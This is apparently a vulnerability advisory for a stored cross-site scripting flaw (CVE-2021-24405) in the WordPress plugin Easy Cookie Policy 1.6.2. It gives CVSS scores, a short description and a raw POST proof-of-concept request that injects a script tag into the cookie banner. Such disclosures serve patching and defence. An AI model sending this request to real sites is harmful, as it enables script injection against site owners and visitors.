WordPress Easy Cookie Policy 1.6.2 Cross Site Scripting

Credit: 0xB9
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS # Date: 2/27/2021 # Author: 0xB9 # Software Link: https://wordpress.org/plugins/easy-cookies-policy/ # Version: 1.6.2 # Tested on: Windows 10 # CVE: CVE-2021-24405 1. Description: Broken access control allows any authenticated user to change the cookie banner through a POST request to admin-ajax.php. If users can't register, this can be done through CSRF. 2. Proof of Concept: POST http://localhost/wp-admin/admin-ajax.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-US,en;q=0.5 Referer: http://localhost/wp-admin/options-general.php?page=easy-cookies-policy Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 226 Origin: http://localhost Connection: keep-alive Host: localhost Cookie: [Any authenticated user] action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd

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